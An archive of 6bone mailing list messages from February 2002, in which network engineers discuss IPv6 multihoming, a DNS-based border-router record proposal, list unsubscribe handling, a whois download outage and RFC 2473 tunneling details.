Thank you, Bill Manning for posting this message. However the Singapore
relay has not been squashed, they are still doing it. Please add them
back to your list.
-------------------
Gregg C Levine hansolofalcon@worldnet.att.net
------------------------------------------------------------
"The Force will be with you...Always." Obi-Wan Kenobi
"Use the Force, Luke."  Obi-Wan Kenobi
(This company dedicates this E-Mail to General Obi-Wan Kenobi )
(This company dedicates this E-Mail to Master Yoda )



> -----Original Message-----
> From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU] On Behalf Of
Bill
> Manning
> Sent: Friday, February 01, 2002 7:39 AM
> To: 6bone@ISI.EDU
> Subject: The welcome message
> 
> 
> 
> Welcome to the 6bone mailing list!
> 
> If you ever want to remove yourself from this mailing list,
> send the following command in email to
> "6bone-request@isi.edu":
> 
>     unsubscribe
> 
> Or you can send mail to "majordomo@isi.edu" with the following command
> in the body of your email message:
> 
>     unsubscribe 6bone <your email address>
> 
> --------------------------------------------------------
> 
> There is a relay in singapore that I -think- has been squashed.
> There might be another one that is still being investigated.
> 
> thanks for you patience
> 
> --bill


From 6bone-owner  Fri Feb  1 09:53:13 2002
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Date: Fri, 1 Feb 2002 19:53:01 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Matteo Tescione <wizard@italiansky.com>
cc: 6bone@ISI.EDU
Subject: Re: (6bone) Ingress filtering (was: asymmetric routing)
In-Reply-To: <000701c1ab35$6085ea90$8cf51150@local.comv6.com>
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On Fri, 1 Feb 2002, Matteo Tescione wrote:
> > Problem with IPv6 multihoming is that IPv4 multihoming is so "easy" and
> > works quite well.  It may be we can't design a protocol or equivalent that
> > will handle the scenarios responsibly and as well.
> Easy???

Just get prefix A.B.C.0/24 and two ISP's, pay them, configure BGP with
them and advertise as appropriate.

> According to you if ipv4 multihoming is easy, ipv6 multihoming will be
> impossible...
> And if ipv6 multihoming will be impossible I suggest to stop experimenting
> ipv6.

Who said the (only) goal of IPv6 was multihoming?

This can be seen as a good thing: it forces everyone to stop the
irresponsible practise of cluttering global routing table (among others).  
A drawback is that we don't have anything really concrete to offer for
site multihoming problem in the place of old practises; there are a few
proposals though.

> ----- Original Message -----
> From: "Pekka Savola" <pekkas@netcore.fi>
> To: "Joel Baker" <lucifer@lightbearer.com>
> Cc: <6bone@ISI.EDU>
> Sent: Friday, February 01, 2002 11:46 AM
> Subject: Re: (6bone) Ingress filtering (was: asymmetric routing)
> 
> 
> > On Thu, 31 Jan 2002, Joel Baker wrote:
> > > Any protocol which does not support the ability to control traffic
> balance
> > > to some degree... will just be ignored. After all, why should a business
> > > spend millions of dollars to adopt a protocol which makes their
> connections
> > > far less efficient?
> >
> > A protocol that will make multihoming work _at all_ would fit the criteria
> > IMO.
> >
> > > interests is... well, just read the sentance. Anything which doesn't
> give
> > > out PI space, and routes, to everyone who has them now, just isn't
> likely
> > > to really fly.
> >
> >
> > --
> > Pekka Savola                 "Tell me of difficulties surmounted,
> > Netcore Oy                   not those you stumble over and fall"
> > Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords
> >
> 

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Fri Feb  1 10:55:10 2002
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Message-ID: <004701c1ab51$d4efa3a0$8cf51150@local.comv6.com>
From: "Matteo Tescione" <wizard@italiansky.com>
To: "Pekka Savola" <pekkas@netcore.fi>
Cc: <6bone@ISI.EDU>
References: <Pine.LNX.4.44.0202011948020.28535-100000@netcore.fi>
Subject: Re: (6bone) Ingress filtering (was: asymmetric routing)
Date: Fri, 1 Feb 2002 19:54:08 +0100
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I don't mean that the only goal of ipv6 is multihoming.
I only think that multihoming in ipv6 has to be more simple than v4...
A simple situation is where I get 1 prefix and 2 upstream, i don't need
more...
Regards,
Matteo
----- Original Message -----
From: "Pekka Savola" <pekkas@netcore.fi>
To: "Matteo Tescione" <wizard@italiansky.com>
Cc: <6bone@ISI.EDU>
Sent: Friday, February 01, 2002 6:53 PM
Subject: Re: (6bone) Ingress filtering (was: asymmetric routing)


> On Fri, 1 Feb 2002, Matteo Tescione wrote:
> > > Problem with IPv6 multihoming is that IPv4 multihoming is so "easy"
and
> > > works quite well.  It may be we can't design a protocol or equivalent
that
> > > will handle the scenarios responsibly and as well.
> > Easy???
>
> Just get prefix A.B.C.0/24 and two ISP's, pay them, configure BGP with
> them and advertise as appropriate.
>
> > According to you if ipv4 multihoming is easy, ipv6 multihoming will be
> > impossible...
> > And if ipv6 multihoming will be impossible I suggest to stop
experimenting
> > ipv6.
>
> Who said the (only) goal of IPv6 was multihoming?
>
> This can be seen as a good thing: it forces everyone to stop the
> irresponsible practise of cluttering global routing table (among others).
> A drawback is that we don't have anything really concrete to offer for
> site multihoming problem in the place of old practises; there are a few
> proposals though.
>
> > ----- Original Message -----
> > From: "Pekka Savola" <pekkas@netcore.fi>
> > To: "Joel Baker" <lucifer@lightbearer.com>
> > Cc: <6bone@ISI.EDU>
> > Sent: Friday, February 01, 2002 11:46 AM
> > Subject: Re: (6bone) Ingress filtering (was: asymmetric routing)
> >
> >
> > > On Thu, 31 Jan 2002, Joel Baker wrote:
> > > > Any protocol which does not support the ability to control traffic
> > balance
> > > > to some degree... will just be ignored. After all, why should a
business
> > > > spend millions of dollars to adopt a protocol which makes their
> > connections
> > > > far less efficient?
> > >
> > > A protocol that will make multihoming work _at all_ would fit the
criteria
> > > IMO.
> > >
> > > > interests is... well, just read the sentance. Anything which doesn't
> > give
> > > > out PI space, and routes, to everyone who has them now, just isn't
> > likely
> > > > to really fly.
> > >
> > >
> > > --
> > > Pekka Savola                 "Tell me of difficulties surmounted,
> > > Netcore Oy                   not those you stumble over and fall"
> > > Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords
> > >
> >
>
> --
> Pekka Savola                 "Tell me of difficulties surmounted,
> Netcore Oy                   not those you stumble over and fall"
> Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords
>


From 6bone-owner  Fri Feb  1 13:57:34 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Matteo Tescione" <wizard@italiansky.com>,
        "Pekka Savola" <pekkas@netcore.fi>
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> Matteo Tescione wrote:
> I don't mean that the only goal of ipv6 is multihoming.
> I only think that multihoming in ipv6 has to be more simple than
> v4... A simple situation is where I get 1 prefix and 2 upstream,
> i don't need more...

Unfortunately, it turn outs that IPv6 multihoming is likely to be
a complicated, multi-facetted solution.

Michel.


From 6bone-owner  Fri Feb  1 16:47:15 2002
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acwest-6bone@mail.bdkw.yi.org wrote:
> In the case that these requests are not bogus, it migh make life simpler if
> we have a default footer with remove instructions. On the one hand, the
> bandwidth cost would certainly be higher. On the other hand, the frustatration
> costs would be lower. Just a thought...

   The gripping hand is, those subscribers who are unable to remember
how to unsubscribe, and are unable to locate the instructions they
recieved when they first subscribed, will probably also be unable to
read the footer you suggest.  
   But, it's certainly worth a try.  For me, at least.  I've got a T1
and I don't mind the wasted bandwidth.  Those paying per byte or per
second for a dialup may object.

-- 
: Unable to locate coffee.  Operator halted.

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REMOVE


From 6bone-owner  Fri Feb  1 17:22:57 2002
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From: "Joel Baker" <lucifer@lightbearer.com>
Date: Fri, 1 Feb 2002 18:22:52 -0700
To: 6bone@ISI.EDU
Subject: Re: (6bone) Ingress filtering (was: asymmetric routing)
Message-ID: <20020201182252.A30743@lightbearer.com>
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On Fri, Feb 01, 2002 at 07:53:01PM +0200, Pekka Savola wrote:
> On Fri, 1 Feb 2002, Matteo Tescione wrote:
> > > Problem with IPv6 multihoming is that IPv4 multihoming is so "easy" and
> > > works quite well.  It may be we can't design a protocol or equivalent that
> > > will handle the scenarios responsibly and as well.
> > Easy???
> 
> Just get prefix A.B.C.0/24 and two ISP's, pay them, configure BGP with
> them and advertise as appropriate.

Indeed. As I've said in other fora: the going rate for aquiring a swamp
/24 on the gray market, the last time I checked, was about $30,000.

> > According to you if ipv4 multihoming is easy, ipv6 multihoming will be
> > impossible...
> > And if ipv6 multihoming will be impossible I suggest to stop experimenting
> > ipv6.
> 
> Who said the (only) goal of IPv6 was multihoming?
> 
> This can be seen as a good thing: it forces everyone to stop the
> irresponsible practise of cluttering global routing table (among others).  
> A drawback is that we don't have anything really concrete to offer for
> site multihoming problem in the place of old practises; there are a few
> proposals though.

You say "cluttering global routing table", I say "protecting my business
investment from being vulnerable to my upstream provider's vagaries". The
Internet is no longer comprised of a bunch of folks who are mostly using
it as a giant experiment and are losing no money for changing over (such
as was the case when IPv4 was adopted, for the most part).

For the record... I strongly favor the adoption of protocols such as SCTP
which can handle the fundamental problem of one machine having multiple
addresses on different networks (which was not actually part of the early
design requirements, except for routing gateways), which work under both
IPv4 and IPv6, and remove something like 90-95% of the use for BGP for any
form of end-customer (IE, non-ISP folks). As has been pointed out to me
privately, there are already folks who clearly are *not* ISPs who have
found it worthwhile to apply for pTLA status, simply to ensure that they
have a globally routable block of space.
-- 
***************************************************************************
Joel Baker                           System Administrator - lightbearer.com
lucifer@lightbearer.com              http://users.lightbearer.com/lucifer/

From 6bone-owner  Fri Feb  1 20:45:10 2002
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From 6bone-owner  Fri Feb  1 21:00:36 2002
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From: Raju Mathur <raju@linux-delhi.org>
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>>>>> "Sandy" == Sandy Wills <willss@mediaone.net> writes:

    Sandy> acwest-6bone@mail.bdkw.yi.org wrote:
    >> In the case that these requests are not bogus, it migh make
    >> life simpler if we have a default footer with remove
    >> instructions. On the one hand, the bandwidth cost would
    >> certainly be higher. On the other hand, the frustatration costs
    >> would be lower. Just a thought...

    Sandy>    The gripping hand is, those subscribers who are unable
    Sandy> to remember how to unsubscribe, and are unable to locate
    Sandy> the instructions they recieved when they first subscribed,
    Sandy> will probably also be unable to read the footer you
    Sandy> suggest.  But, it's certainly worth a try.  For me, at
    Sandy> least.  I've got a T1 and I don't mind the wasted
    Sandy> bandwidth.  Those paying per byte or per second for a
    Sandy> dialup may object.

After managing 4 lists with over 1500 subscribers, I can testify that
the number of literate people on any mailing list is close to zero.
Sure, they can see black-and-white patterns on paper/screen and make
words out of those patterns, but ask them to understand and follow
simple instructions and you may as well wish for, umm, something which
is impossible to obtain?

Regards,

-- Raju
-- 
Raju Mathur          raju@kandalaya.org           http://kandalaya.org/
                     It is the mind that moves

From 6bone-owner  Fri Feb  1 23:30:42 2002
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From: "Michael Biber" <mbiber@apnetworx.com.au>
To: <6bone@ISI.EDU>
Subject: RE: remove
Date: Sat, 2 Feb 2002 18:28:38 +1100
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Some other lists deal with this by auto issuing a monthly reminder of
the key instructions. It either prompts people to leave or at the least,
you only have to remember for 4 weeks, where the instructions are
hiding. Sometimes, failure to comply isn't so much cluelesness, but not
having great English skills...FWIW.

Mike B.


-----Original Message-----
From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU] On Behalf Of
Sandy Wills
Sent: Saturday, 2 February 2002 11:48 AM
To: 6bone@ISI.EDU
Subject: Re: remove


acwest-6bone@mail.bdkw.yi.org wrote:
> In the case that these requests are not bogus, it migh make life 
> simpler if we have a default footer with remove instructions. On the 
> one hand, the bandwidth cost would certainly be higher. On the other 
> hand, the frustatration costs would be lower. Just a thought...

   The gripping hand is, those subscribers who are unable to remember
how to unsubscribe, and are unable to locate the instructions they
recieved when they first subscribed, will probably also be unable to
read the footer you suggest.  
   But, it's certainly worth a try.  For me, at least.  I've got a T1
and I don't mind the wasted bandwidth.  Those paying per byte or per
second for a dialup may object.

-- 
: Unable to locate coffee.  Operator halted.


From 6bone-owner  Sat Feb  2 02:50:13 2002
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On Saturday 02 February 2002 07:28, Michael Biber wrote:

A URL to remove peopel from the list at the end of each message that
goes through the list server will fix all of this. People who want to be out, 
just go to that URL, enter their email address and when they reply to the
confirmation email (just like when you subscribe) you are removed from the 
list.

Thay way, removal is just a simple operation away that does not require 
anybody to use their brains ;-)

--
Leigh


> Some other lists deal with this by auto issuing a monthly reminder of
> the key instructions. It either prompts people to leave or at the least,
> you only have to remember for 4 weeks, where the instructions are
> hiding. Sometimes, failure to comply isn't so much cluelesness, but not
> having great English skills...FWIW.


From 6bone-owner  Mon Feb  4 16:04:02 2002
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From: Tomas Lund <tlund@nxs.se>
To: Joel Baker <lucifer@lightbearer.com>
Cc: 6bone@ISI.EDU
Subject: Re: (6bone) Ingress filtering (was: asymmetric routing)
In-Reply-To: <20020201182252.A30743@lightbearer.com>
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On Fri, 1 Feb 2002, Joel Baker wrote:

> Indeed. As I've said in other fora: the going rate for aquiring a
> swamp /24 on the gray market, the last time I checked, was about
> $30,000.

Every tought of just requesting the block you need from {ARIN,RIPE,APNIC}?


From 6bone-owner  Mon Feb  4 17:10:13 2002
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From: Joel Baker <lucifer@lightbearer.com>
To: 6bone@ISI.EDU
Subject: Re: (6bone) Ingress filtering (was: asymmetric routing)
Message-ID: <20020204181010.A29173@lightbearer.com>
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On Tue, Feb 05, 2002 at 01:03:55AM +0100, Tomas Lund wrote:
> On Fri, 1 Feb 2002, Joel Baker wrote:
> 
> > Indeed. As I've said in other fora: the going rate for aquiring a
> > swamp /24 on the gray market, the last time I checked, was about
> > $30,000.
> 
> Every tought of just requesting the block you need from {ARIN,RIPE,APNIC}?

Yup. Thought of it, and immediately dismissed it as a waste of time. Why?
Anyone who follows NANOG can give you a summary of what the state of any
sort of micro-allocation via ARIN is: in a word, "non-functional".

Unless and until ARIN hands out /24s ** and major providers listen to those
allocations ** it would be nigh-useless to even bother.

Besides, my personal network can stand to be renumbered every so often. I'm
not trying to run a business with network reachabilty as a core requirement
and I don't run BGP, or even multiple upstream circuits.

However, when I was asked, professionally, to do an architecture model for
a business which needed at most a /27 worth of IPs, but absolutely had to
have 5-6 nines of uptime (financial application provider) across the system
as a whole... well, let's just say that I did the pricing above.

I suppose I could have tried to find out how much it would cost to bribe
ARIN to give me an old swamp /24 that someone returned, but the last time
I checked, they weren't re-assigning any of that space legitimately...

(Obviously from the abive, neither RIPE or APNIC would be of much use to me
either.)
-- 
***************************************************************************
Joel Baker                           System Administrator - lightbearer.com
lucifer@lightbearer.com              http://users.lightbearer.com/lucifer/

From 6bone-owner  Mon Feb  4 19:29:08 2002
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Subject: RE: (6bone) Ingress filtering (was: asymmetric routing)
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On Fri, 1 Feb 2002, Michel Py wrote:

> Unfortunately, it turn outs that IPv6 multihoming is likely to be
> a complicated, multi-facetted solution.

hmm...

why not use DNS in some way?

The infrastructure is there, the address space delegations (and glue)
will be there.

Create a new DNS RR to specify border routers (BR RR?), similar to
SRV RR allow it to specify priorities and weighting of equal priority
border routers.

end-site client has the registrar (or have his ISP) enter this
records as glue at the point of delegation.

eg:

$ORIGIN \[x3FFE123456789abc/64].ip6.arpa.

@		BR 10 40 3ffe:100:100:100:100:1
		BR 10 40 3ffe:100:100:100:100:2
		BR 10 10 3ffe:200:200:200:200:1
		BR 20 50 3ffe:300:100:100:100:1
		BR 20 50 3ffe:300:100:100:100:2

@		NS foo.ipv6.acme.org.
		NS bar.ipv6.acme.org.

If you specify that BR records /must/ reference routers whose address
is covered by a valid and well-aggregrated BGP prefix advertisement
(one that will not be filtered out), then the above will work fine.

now you dont need to invent another protocol (just slightly extend an 
existing and well-proven protocol), you just need to teach routers to 
lookup 'BR' records for certain prefixes. (and most routers already 
have a DNS client implementation.)

it'd help even more if the IPv6 address registrars handed out 
'multihome IPv6' allocations from well-defined prefix ranges, then 
you could limit 'BR' lookups to only happen when prefix is from such 
a range.

On possible (rough) process could be something like:

is prefix 'foo' from 'multihome-ipv6' allocation?
	yes -> prefix=get-br(prefix)

normal_bgp_lookup(prefix)

get-br() {
- lookup multihome-BGP view
	yes -> return BR
else -> {
	- lookup 'foo'.ip6.arpa BR
	- for each BR in next_priority where address != 'multihome-ipv6'
		connect to BR using 'light-bgp'
		get advertisements, inject into multihome-BGP view
	}
- lookup multihome-BGP view -> return BR
}
	
the entries in 'multihome-BGP' view would be purged after some time
out.

'light-BGP would some kind of lightweight multihop on-the-fly peering
BGP, purely to ask a BGP peer "give me your advertisements for xyz".

(or alternatively, instead of 'lightweight BGP' you just need some 
other "can you route for this address?" "yes/no" protocol.)

So customer advertises his networks to his ISPs via BGP. 3rd party
routers that are 'close enough' to pick up those advertisements (via
private peering agreements and route-map overrides, whatever) will 
pick up the BGP advertisements. Else 3rd party router looks up the 
'BR' DNS RR to find the border routers (which are the ISPs routers).

biggest problem is that the load is mainly on the ip6.{arpa,int} root
servers. (but delegation of prefixes to many servers would mitigate
this).

mad idea?

> Michel.

regards,
-- 
Paul Jakma	paul@clubi.ie	paul@jakma.org	Key ID: 64A2FF6A
Fortune:
Don't be irreplaceable, if you can't be replaced, you can't be promoted.


From 6bone-owner  Tue Feb  5 07:36:57 2002
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From: "Cleve Mickles" <micklesc@aol.net>
To: "6bone" <6bone@ISI.EDU>
Subject: 6bone whois database
Date: Tue, 5 Feb 2002 10:36:52 -0500
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Is anyone having problems downloading the whois 
database?  My cron job hasn't been able to
get in over the last few days.

Also, have we considered cleaning up the database?
There are a number of hosts that are referenced
from companies that no longer exist and hence
the various pingers out there including ours
just mark the hosts as unknown.

======================================================
Date: Tue, 5 Feb 2002 02:15:03 -0500 (EST)
Subject: Output from "cron" command
Your "cron" job  
produced the following output:

--02:15:01--  ftp://whois.6bone.net/6bone/6bone.db.gz
           => `6bonereg.2144.gz'
Connecting to whois.6bone.net:21... 
Connection to whois.6bone.net:21 refused.
======================================================


Cleve...

Cleve Mickles
Network Architect
America Online, Network Operations 

From 6bone-owner  Tue Feb  5 08:41:39 2002
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From: Jan Oravec <wsx@wsx6.net>
To: Paul Jakma <paul@clubi.ie>
Cc: 6bone@ISI.EDU
Subject: Re: (6bone) multihoming (was: Ingress filtering (was: asymmetric routing))
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Hello,

> biggest problem is that the load is mainly on the ip6.{arpa,int} root
> servers. (but delegation of prefixes to many servers would mitigate
> this).
> 
> mad idea?
very mad, there is a bigger problem:

this would drastically slow-down packet processing... DNS lookup may take
too long... routers would require enough large cache for this, etc.

The better would be to develop new routing protocol... It's proved existence
of protocol which would require amortized time O(log N) for processing
single update and memory O(K) for routing record of some prefix, where N is
number of prefixes advertised and K is number of peers on router. The
AS-PATH entry is probably good only for routing-loop detection (which can be
solved other way), debugging and making BGP useless for multihoming of every
site. Only few of us does routing based on the middle part of it. (usually
when peer A advertises us a prefix with as-path A B ... X, we just care
about A and X, not about part between). Thus we require memory O(NK), which
is not a problem for several millions prefixes. About time analysis,
amortized O(log N) per update gives us initial time O(N log N) for
establishing session. For N -> several millions it gives us convergence time
a few seconds. For IPv6 and advertisements of zones /48 and less, log N is
at most 48 and I can imagine hardware solution to reduce time to O(N), thus
we will be able to have billion of multihomed prefixes in presence.

At the moment I do not have enough time to work on developing it, be cause I
have a lot of work with our project XS26, but in 3-4 months I will be able
to do so.

I will consult that with multi6 WG when I have something ready.


Best Regards,

-- 
Jan Oravec
project coordinator
XS26 - 'Access to IPv6'  
jan.oravec@xs26.net

From 6bone-owner  Tue Feb  5 10:31:57 2002
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Date: Tue, 5 Feb 2002 10:33:50 -0800
From: David Kessens <david@IPRG.nokia.com>
To: Cleve Mickles <micklesc@aol.net>
Cc: 6bone <6bone@ISI.EDU>
Subject: Re: 6bone whois database
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Cleve,

On Tue, Feb 05, 2002 at 10:36:52AM -0500, Cleve Mickles wrote:
> 
> Is anyone having problems downloading the whois 
> database?  My cron job hasn't been able to
> get in over the last few days.

I will fix this today.

In the future, if you experience any problem, you can contact me
directly.

I hope this helps,

David K.
---

From 6bone-owner  Tue Feb  5 14:17:14 2002
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From: Olof Samuelsson <olof@s8n.pp.se>
To: lporter@cw.net
Cc: mbiber@apnetworx.com.au, 6bone@ISI.EDU
Subject: Re: remove
In-Reply-To: <200202021049.g12Anbh01930@relay.mail.insnet.cw.net>
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>>>>> "Leigh" == Leigh Porter <lporter@cw.net> writes:

> On Saturday 02 February 2002 07:28, Michael Biber wrote: A URL to
> remove peopel from the list at the end of each message that goes
> through the list server will fix all of this. People who want to be
> out, just go to that URL, enter their email address and when they
> reply to the confirmation email (just like when you subscribe) you
> are removed from the list.

How about the List-Unsubscribe header from RFC2369?  I think at least
recent pines support it.

Why does all the unsubscription attempts look almost the same?
Subject: remove and the body containing only "remove", albeit with some
case permutations.

I find that strange.

/Olof
-- 

From 6bone-owner  Wed Feb  6 01:34:25 2002
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To: ipng@sunroof.eng.sun.com
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Subject: generic v6 tunneling
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1)With ref to section 3.3 of RFC 2473 :

"The tunnel exit-point node, which decapsulates the tunnel packets, and the destination node, which receives the resulting original packets can be the same node".

Does it mean tunnel exit-point IPv6 address and original packets destination IPv6 address are same? If they are
same, how do we configure the route for the destination V6 address at the tunnel entry point?

2)With ref to section 7.1(a) of RFC 2473:

When the IPv6 packet size is larger than IPv6 min link MTU, the ICMPv6 pkt too big msg is sent with MTU as 
max(tunnel MTU, IPv6 min link MTU) . 

If the furthur received packets' size is larger than IPv6 min link MTU, again TOO BIG message will be sent and a looping will occur? how to avoid this? 


From 6bone-owner  Wed Feb  6 02:25:40 2002
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: "IPSix Developer" <ip6mails@rediffmail.com>
cc: ipng@sunroof.eng.sun.com, 6bone@ISI.EDU
Subject: Re: generic v6 tunneling 
In-reply-to: Your message of 06 Feb 2002 09:33:50 GMT.
             <20020206093350.531.qmail@mailweb19.rediffmail.com> 
Date: Wed, 06 Feb 2002 11:25:14 +0100
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 In your previous mail you wrote:

   1)With ref to section 3.3 of RFC 2473 :
   
   "The tunnel exit-point node, which decapsulates the tunnel packets,
   and the destination node, which receives the resulting original
   packets can be the same node".
   
   Does it mean tunnel exit-point IPv6 address and original packets
   destination IPv6 address are same?

=> "can be" but usually they are configured to be different because:
 - this can too easily mess the routing system
 - there is no reason to encapsulate such packets (they can be sent
  directly).

   If they are same, how do we configure the route for the destination
   V6 address at the tunnel entry point?
   
=> there is already a route to the exit-point, not using the tunnel.

If you try to misconfigure a tunnel with a route to the exit-point
through the tunnel, good systems will detect the error and won't crash
trying infinite encapsulation. But this is harder if the loop is distributed
between different nodes so section 4 describes this kind of problems
and some solutions (note that 4.1.2 check detects your problem).

   2)With ref to section 7.1(a) of RFC 2473:
   
   When the IPv6 packet size is larger than IPv6 min link MTU, the
   ICMPv6 pkt too big msg is sent with MTU as max(tunnel MTU, IPv6 min
   link MTU) .
   
   If the furthur received packets' size is larger than IPv6 min link
   MTU, again TOO BIG message will be sent

=> yes, ICMPv6 are sent on errors but are rate limited.

   and a looping will occur?

=> I believe your loop is errors on errors. There are two counter-measures:
(draft-ietf-ipngwg-icmp-v3-02.txt section 2.4)
 - (c) Every ICMPv6 error message (type < 128) includes as much of the
   IPv6 offending (invoking) packet (the packet that caused the
   error) as will fit without making the error message packet
   exceed the minimum IPv6 MTU.
 - (e.1) An ICMPv6 error message MUST NOT be sent as a result of
   receiving an ICMPv6 error message.
(don't forget (f) aka rate limitation too).

   how to avoid this?
   
=> understand and implement carefully the specs (:-)!

Regards

Francis.Dupont@enst-bretagne.fr

From 6bone-owner  Wed Feb  6 02:50:50 2002
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To: "Francis Dupont" <Francis.Dupont@enst-bretagne.fr>
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The looping i'm refering  to section 7.1(a) of RFC 2473,
occurs when the ipv6 packet size is checked against the
min. link MTU always- which is always 1280 (or PathMTU ???)

I'm not refering to errors on errors loop.



On Wed, 06 Feb 2002 Francis Dupont wrote :
>  In your previous mail you wrote:
> 
>    1)With ref to section 3.3 of RFC 2473 :
>    
>    "The tunnel exit-point node, which decapsulates the 
> tunnel packets,
>    and the destination node, which receives the 
> resulting original
>    packets can be the same node".
>    
>    Does it mean tunnel exit-point IPv6 address and 
> original packets
>    destination IPv6 address are same?
> 
> => "can be" but usually they are configured to be 
> different because:
>  - this can too easily mess the routing system
>  - there is no reason to encapsulate such packets (they 
> can be sent
>   directly).
> 
>    If they are same, how do we configure the route for 
> the destination
>    V6 address at the tunnel entry point?
>    
> => there is already a route to the exit-point, not 
> using the tunnel.
> 
> If you try to misconfigure a tunnel with a route to the 
> exit-point
> through the tunnel, good systems will detect the error 
> and won't crash
> trying infinite encapsulation. But this is harder if 
> the loop is distributed
> between different nodes so section 4 describes this 
> kind of problems
> and some solutions (note that 4.1.2 check detects your 
> problem).
> 
>    2)With ref to section 7.1(a) of RFC 2473:
>    
>    When the IPv6 packet size is larger than IPv6 min 
> link MTU, the
>    ICMPv6 pkt too big msg is sent with MTU as 
> max(tunnel MTU, IPv6 min
>    link MTU) .
>    
>    If the furthur received packets' size is larger than 
> IPv6 min link
>    MTU, again TOO BIG message will be sent
> 
> => yes, ICMPv6 are sent on errors but are rate limited.
> 
>    and a looping will occur?
> 
> => I believe your loop is errors on errors. There are 
> two counter-measures:
> (draft-ietf-ipngwg-icmp-v3-02.txt section 2.4)
>  - (c) Every ICMPv6 er
   IPv6 offending (invoking) packet (the packet that 
> caused the
>    error) as will fit without making the error message 
> packet
>    exceed the minimum IPv6 MTU.
>  - (e.1) An ICMPv6 error message MUST NOT be sent as a 
> result of
>    receiving an ICMPv6 error message.
> (don't forget (f) aka rate limitation too).
> 
>    how to avoid this?
>    
> => understand and implement carefully the specs (:-)!
> 
> Regards
> 
> Francis.Dupont@enst-bretagne.fr
 


From 6bone-owner  Wed Feb  6 10:50:01 2002
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Date: Wed, 6 Feb 2002 10:49:45 -0800
To: "IPSix  Developer" <ip6mails@rediffmail.com>
From: Steve Deering <deering@cisco.com>
Subject: Re: generic v6 tunneling
Cc: ipng@sunroof.eng.sun.com, aconta@lucent.com, 6bone@ISI.EDU
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At 9:33 AM +0000 2/6/02, IPSix  Developer wrote:
>1)With ref to section 3.3 of RFC 2473 :
>
"The tunnel exit-point node, which decapsulates the tunnel packets, and
>the destination node, which receives the resulting original packets can
>be the same node".
>
>Does it mean tunnel exit-point IPv6 address and original packets
>destination IPv6 address are same?

Possibly, but not necessarily.  If the tunnel is treated as a separate
link, the exit endpoint of the tunnel will have its own IPv6 address(es),
distinct from those of the physical interface at which the tunnel
terminates.  But is also perfectly "legal" to send an IPv6 packet
encapsulated within another IPv6 packet, in which both the inner
and outer destination addresses are the same.
>
> If they are same, how do we configure
>the route for the destination V6 address at the tunnel entry point?

That is just an example of a router with more than one path to the same
destination.  That is handled as normal, either using routing protocols
to choose the "shortest" or "best" path, or by configuration (a "static
route").  

>2)With ref to section 7.1(a) of RFC 2473:
>
>When the IPv6 packet size is larger than IPv6 min link MTU, the ICMPv6
>pkt too big msg is sent with MTU as max(tunnel MTU, IPv6 min link MTU) .
>
>If the furthur received packets' size is larger than IPv6 min link MTU,
>again TOO BIG message will be sent and a looping will occur? how to
>avoid this?

If the source node ignores the Packet Too Big message and continues to
send packets that exceed max(tunnel MTU, IPv6 min link MTU), those
packets will be dropped and will trigger additional Packet Too Big
messages, subject to the general rate limiting requirement imposed
on transmitting ICMP error messages.

Steve


From 6bone-owner  Wed Feb  6 10:54:48 2002
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Date: Wed, 6 Feb 2002 10:54:37 -0800
To: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
From: Steve Deering <deering@cisco.com>
Subject: Re: generic v6 tunneling
Cc: "IPSix Developer" <ip6mails@rediffmail.com>, ipng@sunroof.eng.sun.com,
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At 11:25 AM +0100 2/6/02, Francis Dupont wrote:
>>   Does it mean tunnel exit-point IPv6 address and original packets
>>   destination IPv6 address are same?
>
> - there is no reason to encapsulate such packets (they can be sent
>  directly).

That's not the case if the tunnel entry point node is not the original
source node.

Steve


From 6bone-owner  Wed Feb  6 11:51:39 2002
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Message-Id: <200202061951.g16Jp5g75964@givry.rennes.enst-bretagne.fr>
From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: Steve Deering <deering@cisco.com>
cc: "IPSix Developer" <ip6mails@rediffmail.com>, ipng@sunroof.eng.sun.com,
        6bone@ISI.EDU
Subject: Re: generic v6 tunneling 
In-reply-to: Your message of Wed, 06 Feb 2002 10:54:37 PST.
             <v04220808b8872b7635e3@[10.34.255.54]> 
Date: Wed, 06 Feb 2002 20:51:05 +0100
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 In your previous mail you wrote:

   >>   Does it mean tunnel exit-point IPv6 address and original packets
   >>   destination IPv6 address are same?
   >
   > - there is no reason to encapsulate such packets (they can be sent
   >  directly).
   
   That's not the case if the tunnel entry point node is not the original
   source node.
   
=> this changes nothing: in both cases there is a route to the
destination and packets will follow it. The difference is they can be
encapsulated or not, the visible source address doesn't matter...

Regards

Francis.Dupont@enst-bretagne.fr

PS: differences can only be in source address based policies (QoS, IPsec,
policy routing, etc).

From 6bone-owner  Wed Feb  6 12:37:07 2002
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Date: Wed, 6 Feb 2002 12:36:55 -0800
To: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
From: Steve Deering <deering@cisco.com>
Subject: Re: generic v6 tunneling
Cc: "IPSix Developer" <ip6mails@rediffmail.com>, ipng@sunroof.eng.sun.com,
        6bone@ISI.EDU
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At 8:51 PM +0100 2/6/02, Francis Dupont wrote:
>   > - there is no reason to encapsulate such packets (they can be sent
>   >  directly).
>   
>   That's not the case if the tunnel entry point node is not the original
>   source node.
>   
>=> this changes nothing: in both cases there is a route to the
>destination and packets will follow it. The difference is they can be
>encapsulated or not, the visible source address doesn't matter...
>
>PS: differences can only be in source address based policies (QoS, IPsec,
>policy routing, etc).

Francis,

Perhaps we are saying the same thing.  If the tunnel entry point is
other than the source node, that intermediate node has some reason
to perform the encapsulation (security, performance, policy, whatever).
Simply omitting the encapsulation -- which is what I thought you were
suggesting -- may fail to satisfy the reason for the tunnel.

Or in other words, encapsulation adds information to the packet
(additional address(es), possibly different traffic class or flow label
values, possibly extension headers).  Simply removing that information
changes the semantics of the packets, in possibly harmful ways.

Steve


From 6bone-owner  Sat Feb  9 10:40:08 2002
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Date: Sat, 9 Feb 2002 20:39:38 +0200 (EET)
